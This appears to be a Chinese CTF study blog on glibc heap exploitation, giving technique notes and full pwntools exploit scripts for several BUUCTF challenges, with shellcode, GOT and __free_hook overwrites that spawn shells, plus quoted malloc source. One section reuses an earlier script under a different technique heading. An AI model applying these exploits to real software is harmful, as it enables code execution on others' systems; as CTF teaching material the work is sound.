off-by-one

在一个可以写的区域伪造chunk(通过off-by-one使系统的指向chunk的指针能指向伪造chunk)

注意chunk的大小的构造

其中指针有多层,因此可以泄露并且修改,p2地址泄露之后,覆盖p2为想要操作的地址,将p4将内容改为想要的内容

  1. p1->p2->内容
  2. p1->p4->内容(更改p1的值)

3.p1->p4->新内容(更改p1的指向的值)

对于一二步骤p1在第二层,但是对于第一步骤p1在第一层

想更改p1的间接内容,需要更新p1的指向为p4,需要把p1移到第二层(先泄露&p1,然后再一个块的内部伪造一个新的chunk,其中放入&p1,成功将其到第二层),通过fakechunk的一些操作可以更改p1的值(也就是改为&p4),这样可以更改p4指向的内容,那么p1应该改成什么(改成泄露的重要地址,此题通过p1的指向来泄露,也就是&p4和&p2有着千丝万缕的关系)

更改p的值,和p的指向的值

from pwn import *
context.log_level="debug"
binary = ELF("b00ks")
libc = ELF("/home/l/how2heap/glibc-all-in-one/libs/2.21-0ubuntu4.3_amd64/libc.so.6")
io = process("./b00ks")
def createbook(name_size, name, des_size, des):
io.sendlineafter("6. Exit\n> ",b"1")
io.sendlineafter("Enter book name size: ",bytes(str(name_size), 'ascii'))
io.sendlineafter("Enter book name (Max 32 chars): ",bytes(str(name), 'ascii'))
io.sendlineafter("Enter book description size: ",bytes(str(des_size), 'ascii'))
io.sendlineafter("Enter book description: ",bytes(str(des), 'ascii'))

def printbook(id):
io.sendlineafter("6. Exit\n> ", b"4")
for i in id:
io.recvuntil(b"ID: ")
book_id = int(io.recvline().strip())
print(book_id)
io.recvuntil(b"Name: ")
book_name = io.recvline().strip()
print(book_name)
io.recvuntil(b"Description: ")
book_des = io.recvline().strip()
print(book_des)
io.recvuntil(b"Author: ")
book_author = io.recvline().strip()
print(book_author)
return book_id, book_name, book_des, book_author

def changename(name):
io.sendlineafter("6. Exit\n> ",b"5")
io.sendlineafter('Enter author name: ',bytes(str(name).encode('ascii')))

def editbook(book_id, new_des):
io.sendlineafter("6. Exit\n> ",b"3")
io.sendlineafter("Enter the book id you want to edit: ",book_id)
io.sendlineafter("Enter new book description: ",new_des)

def deletebook(book_id):
io.sendlineafter("6. Exit\n> ",b"2")
io.sendlineafter("Enter the book id you want to delete: ",bytes(str(book_id).encode('ascii')))
def exitpro():
io.sendlineafter("6. Exit\n> ", b"6")





io.sendlineafter("Enter author name: ",32*b"a")
createbook("32","a","272","a")

createbook("135168","a","135168","b")
book_id_1,book_name,book_des,book_author=printbook([1])
print(book_author[32:38])
book1_addr=u64(book_author[32:32+6].ljust(8,b'\x00'))
log.success("book1_address:"+hex(book1_addr))
p2vmmap = book1_addr+0x40
print(hex(p2vmmap))

payload=(0x58+0x60)*b'a'+p64(0x31)+p64(0x1)+p64(p2vmmap)+p64(p2vmmap)+p64(0x20)
editbook(b'1', payload)
changename("A"*32)
book_id_1,book_name,book_des,book_author=printbook([1])
book2_des_addr=u64(book_des.ljust(8,b"\x00"))

libc_base=book2_des_addr-0x5a3010

free_hook=libc_base+libc.symbols["__free_hook"]
sysbin = libc_base+libc.symbols['system']

log.success("libc base:"+hex(libc_base))
log.success("free_hook:"+hex(free_hook))
log.success("sysbin:"+hex(sysbin))
editbook(b'1',p64(free_hook))
editbook(b'2',p64(sysbin))
createbook("8","/bin/sh\x00","8","/bin/sh\x00")
deletebook(3)
io.interactive()

overslaping

和off-by-one有异曲同工之处,相同在,想方设法越权控制chunk字段,此方法就是将小chunk包含再大chunk之中,虽然我不能控制小chunk但是我可以控制大chunk进而控制小chunk,但是控制小chunk也是通过大chunk的某些字段实现,因此当更改小chunk某些字段之后,大chunk就失效了,因此只能利用一次,在一个地址处进行读写,此题是freegot

此题成功点在于fastbin的利用,fastbin的安全检查太少,链入链表只会检查和头是否重复,可以看出fastbin是一个用来攻击的破解点,需好好利用

此题的另一个重要漏洞是free参数的传递,其会直接传递用户指针,这样子参数就可控了

而想要控制大chunk包含小chunk需要溢出大chunk的size字段,使其可以包含小chunk

比较有意思的一点是假的chunk居然可以欺骗pwngdb,由此可以估计出pwngdb的实现就是通过简单的观察heap的相应字段实现的,哈哈哈哈

from pwn import *
io = process("./heapcreator")
pro = ELF("./heapcreator")
elf = ELF("/home/l/how2heap/glibc-all-in-one/libs/2.21-0ubuntu4.3_amd64/libc.so.6")
def create(size,content):
""""
to create a chunk
size:bytes
content:bytes
"""
io.sendlineafter("Your choice :",b'1')
io.sendlineafter("Size of Heap : ",size)
io.sendlineafter("Content of heap:",content)

def edit(index,content):
"""

:param index: bytes(0 begin)
:param content: bytes
:return:
"""
io.sendlineafter("Your choice :", b'2')
io.sendlineafter("Index :",index)
io.sendlineafter("Content of heap : ",content)
def show(index):
io.sendlineafter("Your choice :", b'3')
io.sendlineafter("Index :",index)
io.recvuntil(b"Size : ")
size = int(io.recvline().strip())
print(size)
io.recvuntil(b"Content : ")
content = io.recvline().strip()
print(content)
return size,content
def delete(index):
io.sendlineafter("Your choice :", b'4')
io.sendlineafter("Index :",index)

create(b'152',144*b'a'+p64(0x90))
create(b'24',8*b'c'+p64(0x21))
create(b'10',10*b'c')
edit(b'0',b"/bin/sh\x00"+p64(0x91)+128*b'b'+p64(0x90)+b'\x71')
delete(b'1')
freegot = pro.got['free']
print(hex(freegot))

create(b'104',24*b'a'+p64(0x21)+p64(0x70)+p64(freegot)+b'\x00')
size,content = show(b'1')
freeadd = u64(content.ljust(8,b'\x00'))
print(size,hex(freeadd))
base = freeadd - elf.symbols['free']
sysadd = elf.symbols['system']+base
edit(b'1',p64(sysadd))
delete(b'0')
io.interactive()
#create(b'10',10*b'c')

uaf

和前两者思路差不多基本上就是超越权限的指针访问,当指针free掉但是没有释放,那么低权限的用户再次使用可以更改高权限用户的数据,接着利用高权限的野指针可以访问到想访问到的东西

此题是hacknote,是一道教学题比较基础

py代码如下

from pwn import *
#io = remote("node5.buuoj.cn",29954)
io = process("hacknote")
pro = ELF("./hacknote")
elf = ELF("./libc_32.so.6")
def create(size,content):
""""
to create a chunk
size:bytes
content:bytes
"""
io.sendlineafter("Your choice :",b'1')
io.sendlineafter("Note size :",size)
io.sendlineafter("Content :",content)
def show(index):
io.sendlineafter("Your choice :", b'3')
io.sendlineafter("Index :",index)
content = io.recvline().strip()
print(content)
return size,content
def delete(index):
io.sendlineafter("Your choice :", b'2')
io.sendlineafter("Index :",index)
create(b'32',8*b'a')
create(b'32',8*b'b')
create(b'32',8*b'c')
delete(b'0')
delete(b'1')
magic = 0x08048986
create(b'12',p32(magic))
#gdb.attach(io)
show(b'0')

unlink

比较基础,原理不过多赘述,就是绕过指针检查,使chunk指针指向chunk地址的地址处,进而修改chunk的时候可以修改chunk指针达到任意地址写的目的,需要知道chunk指针的存储地址,也需要比较多的溢出量,以至于可以修改下一个chunk的prevsize字段和size字段。附上一道题目的py,BUUCTF在线评测 (buuoj.cn)

from pwn import *
io = process("./stkof")
context.log_level ='debug'
io = remote("node5.buuoj.cn",26354)
elfp = ELF("./stkof")

libc = ELF('./libc.so.6')
def create(size):
io.sendline(b'1')
io.sendline(size)
io.recv()
def de(index):
io.sendline(b'3')
io.sendline(index)
io.recv()
def edit(index,size,content):
io.sendline(b'2')
io.sendline(index)
io.sendline(size)
io.send(content)
io.recv()

num1 = create(b'10')
num2 = create(b'280')

num3 = create(b'280')
fd = 0x602150-0x18
bk = 0x602150-0x10

#sleep(1)
edit(b'2',b'288',8*b'a'+p64(0x111)+p64(fd)+p64(bk)+0xf0*b'a'+p64(0x110)+p64(0x120))
de(b'3')
putplt = elfp.plt['puts']
putgot = elfp.got['puts']
freeplt = elfp.plt['free']
atoiplt = elfp.got['atoi']
freegot = elfp.got['free']
print(hex(putgot))
print(hex(freeplt))
print(hex(atoiplt))
edit(b'2',b'112',8*b'a'+p64(putgot)+p64(freegot)+p64(0x602158)+5*(b'cat ./flag'+6*b'\x00'))

edit(b'1',b'8',p64(putplt))

io.sendline(b'3')
io.sendline(b'0')
putadd = u64(io.recv()[0:6].ljust(8,b'\x00'))
libc_puts = libc.symbols['puts']
base = putadd - libc_puts
system = base +libc.symbols["system"]
edit(b'1',b'8',p64(system))
io.sendline(b'3')
io.sendline(b'2')
#io.sendline("cat flag")
io.recv()
sleep(5)
io.interactive()

#io.recv()

double_free

注意一系列的检查吧,搞笑的是检查size的时候居然只看低4字节,因此可以通过hex表找可以伪造堆块的位置,其余的便没了。基本思想就是可以控制free掉的堆块进而改变fd指针,进而可以malloc的任意位置,以ISCC218–Write Some Paper为例,还有比较重要的是,低版本的堆fasbin没有地址对齐检查,否则就不好利用了

from pwn import *
context(os='linux',arch='amd64',log_level='debug')

myelf = ELF("./paper")
io =process("./paper")
def create(index,size,content):
io.sendlineafter("2 delete paper\n",b'1')
io.sendlineafter("Input the index you want to store(0-9):",index)
io.sendlineafter("How long you will enter:",size)
io.sendlineafter("please enter your content:",content)
def de(index):
io.sendlineafter("2 delete paper\n", b'2')
io.sendlineafter("which paper you want to delete,please enter it's index(0-9):",index)
create(b'0',b'56',8*b'a')
create(b'1',b'56',8*b'a')
create(b'2',b'56',8*b'a')
de(b'0')
de(b'1')
de(b'0')
#gdb.attach(io)
#pause()
mallocadd = 0x0000000000602032
sysadd = 0x0000000000400943
create(b'3',b'56',p64(mallocadd))
create(b'4',b'56',8*b'c')
create(b'5',b'56',8*b'd')
create(b'6',b'56',22*b'a'+p64(sysadd))
io.sendlineafter("2 delete paper\n", b'2')
io.interactive()

house_of_spirit

lctf2016_pwn200为例子

fastbin绕过思路

  • chunk地址对齐,此题对应的libc貌似不用考虑,没有试过。
  • size对齐(一般以2*size_t)
  • next_size检查,本题目主要检查尺寸范围
  • 具体libc具体分析,可以查看malloc.c的源码

此处以glibc2.35为例

  if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
{
idx = fastbin_index (nb);
mfastbinptr *fb = &fastbin (av, idx);
mchunkptr pp;
victim = *fb;

if (victim != NULL)
{
if (__glibc_unlikely (misaligned_chunk (victim))) //地址对齐检查,低版本好像没有
malloc_printerr ("malloc(): unaligned fastbin chunk detected 2");

if (SINGLE_THREAD_P)
*fb = REVEAL_PTR (victim->fd);
else
REMOVE_FB (fb, pp, victim);
if (__glibc_likely (victim != NULL))
{
size_t victim_idx = fastbin_index (chunksize (victim));
if (__builtin_expect (victim_idx != idx, 0))
malloc_printerr ("malloc(): memory corruption (fast)");//chunksize检查
check_remalloced_chunk (av, victim, nb);//debug模式调试所用,不用关心
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;

/* While bin not empty and tcache not full, copy chunks. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = *fb) != NULL)
{
if (__glibc_unlikely (misaligned_chunk (tc_victim)))
malloc_printerr ("malloc(): unaligned fastbin chunk detected 3");
if (SINGLE_THREAD_P)
*fb = REVEAL_PTR (tc_victim->fd);
else
{
REMOVE_FB (fb, pp, tc_victim);
if (__glibc_unlikely (tc_victim == NULL))
break;
}
tcache_put (tc_victim, tc_idx);
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
}

本题思路

1.利用printf的基址泄露rbp的值。

2.利用栈溢出来覆盖ptr的值(覆盖为rbp相关),可以利用此条件构造一个malloc_chunk(大尺寸),然后free掉再malloc达到可以更改rbp所指向的位置附近的值。而又因为rbp的bp-chain的性质,即可更改返回地址。

3.将返回地址更改为步骤2注入的shellcode的地址。因为步骤2可利用的空间有限,shellcode手写较好,不宜过长。

4.其中还有一些细节,如利用id来构造下一个chunk的size字段,绕过检查。

完整exp

from pwn import *
#io= process("./pwn200")
io=remote("node5.buuoj.cn",27077)
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'

## 泄露地址
io.sendafter("who are u?\n",48*b"a")
rbp = u64(io.recvuntil(b",")[48:48+6].ljust(8,b'\x00'))
print("rbp con:",hex(rbp))
io.recv()
## 构造id字段,利用atoi,33会被转化为0x21
io.sendline(b'33')

## 手写shellcode,push,pop所占机器码较少
binpa = asm('''
mov rax,0x68732f6e69622f
push 0
push 0
pop rsi
pop rdx
push rax
push rsp
pop rdi
mov rax,59
syscall
''', arch='amd64')
print("asm len:",len(binpa))
##溢出字段的构造
payload = 8*b'\x00'+binpa+4*b'\x00'+p64(0x41)+0x8*b'a'+p64(rbp-176+32)

io.sendafter(b'give me money~\n',payload)
io.sendlineafter(b"your choice : ",b'2')


io.sendlineafter(b"your choice : ",b'1')
io.sendlineafter(b"how long?\n",b'56')


io.recv()
io.send(24*b'a'+p64(rbp-176-8))

io.recv()
#gdb.attach(io)
#pause()
io.sendline(b'3')
#pause()
io.interactive()

house_of_spirit(Arbitrary Alloc

BUUCTF在线评测 (buuoj.cn)为例

本题思路

  • 通过unsortedbin的双向链表泄露main_arena地址,得到libc基址,再通过将malloc_hook中注入onegadget拿到shell
  • 此题有明显溢出,因此可以考虑吧overslap,凭着这个思路可以泄露address
  • 通过复写fd,来达到任意地址写的目的,以此来注入onegadget

本题py(远程打不通,可以打通本地,搞不懂为什么)

from pwn import *
#io= process("./pwn200")
io=remote("node5.buuoj.cn",27077)
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
io.sendafter("who are u?\n",48*b"a")
rbp = u64(io.recvuntil(b",")[48:48+6].ljust(8,b'\x00'))
print("rbp con:",hex(rbp))
io.recv()

io.sendline(b'33')


binpa = asm('''
mov rax,0x68732f6e69622f
push 0
push 0
pop rsi
pop rdx
push rax
push rsp
pop rdi
mov rax,59
syscall
''', arch='amd64')
print("asm len:",len(binpa))

#payload = 8*b'\x00'+binpa+3*b'\x00'+p64(0x11)+0x8*b'a'+p64(0x21)+p64(rbp-144)
#payload = 8*b'\x00'+p64(0x21)+binpa+3*b'\x00'+p64(0x21)+0x8*b'a'+p64(rbp-176)
payload = 8*b'\x00'+binpa+4*b'\x00'+p64(0x41)+0x8*b'a'+p64(rbp-176+32)

io.sendafter(b'give me money~\n',payload)
io.sendlineafter(b"your choice : ",b'2')


io.sendlineafter(b"your choice : ",b'1')
io.sendlineafter(b"how long?\n",b'56')


io.recv()
io.send(24*b'a'+p64(rbp-176-8))

io.recv()
#gdb.attach(io)
#pause()
io.sendline(b'3')
#pause()
io.interactive()

house_of_force

修改top的size字段使其极大,以至于达到可以任意地址分配的目的。

第一次分配先改变top的区域

第二次分配直接获得想要区域的读写权限

部分代码如下:

此代码为高版本的malloc源码,低版本无: if (__glibc_unlikely (size > av->system_mem))此判断语句,因此可以利用成功。

victim = av->top;
size = chunksize (victim);

if (__glibc_unlikely (size > av->system_mem))
malloc_printerr ("malloc(): corrupted top size");

if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
av->top = remainder;
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);

check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}

demo:

版本glibc2.23,高版本只要加了patch很容易使此攻击失效

#include<stdio.h>
#include <stdlib.h>
int main(){
long *ptr,ptr2;
ptr = malloc(10);
ptr = (long*)((long)(ptr)+24);
*ptr = -1;
void *p3 = malloc(-4120);
void *p4 = malloc(0x10);
printf("%x",p3);
return 0;
}

需要注意的是remainder = chunk_at_offset (victim, nb);语句来改变top的指针指向,改编为victim+nb

#define chunk_at_offset(p, s)  ((mchunkptr) (((char *) (p)) + (s)))

因此可以看出当malloc(负数)的时候,会将top的指针降低到bss段,以此来达到复写bss段的目的。

*p4

## 习题:[BUUCTF在线评测 (buuoj.cn)](https://buuoj.cn/challenges#hitcontraining_bamboobox)

```python
from pwn import *
io = process("./bamboobox")
#io = remote("node5.buuoj.cn",28639)
context.terminal = ['tmux','splitw','-h']
#context.log_level='debug'
def create(size,content):
io.sendlineafter("Your choice:",b'2')
io.sendlineafter("Please enter the length of item name:",size)
io.sendafter("Please enter the name of item:",content)
def show():
io.sendlineafter("Your choice:", b'1')
return io.recvuntil("\n").strip()
def change(index,size,content):
io.sendlineafter("Your choice:", b'3')
io.sendlineafter("Please enter the index of item:",index)
io.sendlineafter("Please enter the length of item name:",size)
io.sendafter("Please enter the new name of the item:",content)
def remove(index):
io.sendlineafter("Your choice:", b'4')
io.sendlineafter("Please enter the index of item:",index)
def exit():
io.sendlineafter("Your choice:", b'5')
create(b'248',24*b'a')
change(b'0',b'256',248*b'a'+p64(0xffffffffffffffff))
create(b'-304',8*b'a')
create(b'24',8*b'a'+p64(0x0000000000400D49))

gdb.attach(io)
exit()
print(io.recv())
print(io.recv())

这道题漏洞很多,这个方法需要flag在正确路径,但是buu远程好像不在,因此需要换一种方法。

unsortedbin_attack

利用:

在malloc一个大块时,若unsortedbin中只有一个remindered块,那么就会进行脱链,传递给用户,当然尺寸得足够。

其中会执行bck = victim->bk;..............;bck->fd = unsorted_chunks (av);利用此可将bck+0x10所指向的位置的值变得极大。

但是在libc2.35中有指针检查,因此此利用方法在高版本应该会失效。具体patch为:

          bck = victim->bk;
size = chunksize (victim);
mchunkptr next = chunk_at_offset (victim, size);

if (__glibc_unlikely (size <= CHUNK_HDR_SZ)
|| __glibc_unlikely (size > av->system_mem))
malloc_printerr ("malloc(): invalid size (unsorted)");
if (__glibc_unlikely (chunksize_nomask (next) < CHUNK_HDR_SZ)
|| __glibc_unlikely (chunksize_nomask (next) > av->system_mem))
malloc_printerr ("malloc(): invalid next size (unsorted)");
if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size))
malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)");
/*此处代码检查了bk指针的伪造,有效防止了此漏洞*/
if (__glibc_unlikely (bck->fd != victim)
|| __glibc_unlikely (victim->fd != unsorted_chunks (av)))
malloc_printerr ("malloc(): unsorted double linked list corrupted");
if (__glibc_unlikely (prev_inuse (next)))
malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");

例子:BUUCTF在线评测 (buuoj.cn)

from pwn import *
io = process("./magicheap")
io = remote("node5.buuoj.cn",28462)
context.log_level='debug'
context.terminal=['tmux','splitw','-h']
def create(size,content):
io.sendafter(b"Your choice :",b'1')
io.sendafter(b"Size of Heap : ",size)
io.sendafter(b"Content of heap:",content)
def edit(index,size,content):
io.sendafter(b"Your choice :",b'2')
io.sendafter(b"Index :", index)
io.sendafter(b"Size of Heap : ", size)
io.sendafter(b"Content of heap : ", content)
def de(index):
io.sendafter(b"Your choice :",b'3')
io.sendafter(b'Index :',index)
def ex(index):
io.sendafter(b"Your choice :",b'4')
create(b'24',10*b'a')
create(b'1272',10*b'b')
create(b'24',10*b'c')
de(b'1')
edit(b'0',b'48',24*b'a'+p64(0x501)+p64(0x0000000000602090)+p64(0x0000000000602090))
create(b'1272',10*b'e')
io.sendafter(b"Your choice :",b'4869')
io.interactive()
#gdb.attach(io)
#pause()

关于hook的一些说明

__malloc_hook__free_hook中部位null的时候,在执行__libc_free,__libc_malloc会优先执行hook中的函数。

代码可如下:glibc2.27

hook

但是在2.35中hook没有了,也就不存在此利用手法:

void
__libc_free (void *mem)
{
mstate ar_ptr;
mchunkptr p; /* chunk corresponding to mem */

if (mem == 0) /* free(0) has no effect */
return;

/* Quickly check that the freed pointer matches the tag for the memory.
This gives a useful double-free detection. */
if (__glibc_unlikely (mtag_enabled))
*(volatile char *)mem;

int err = errno;

p = mem2chunk (mem);

if (chunk_is_mmapped (p)) /* release mmapped memory. */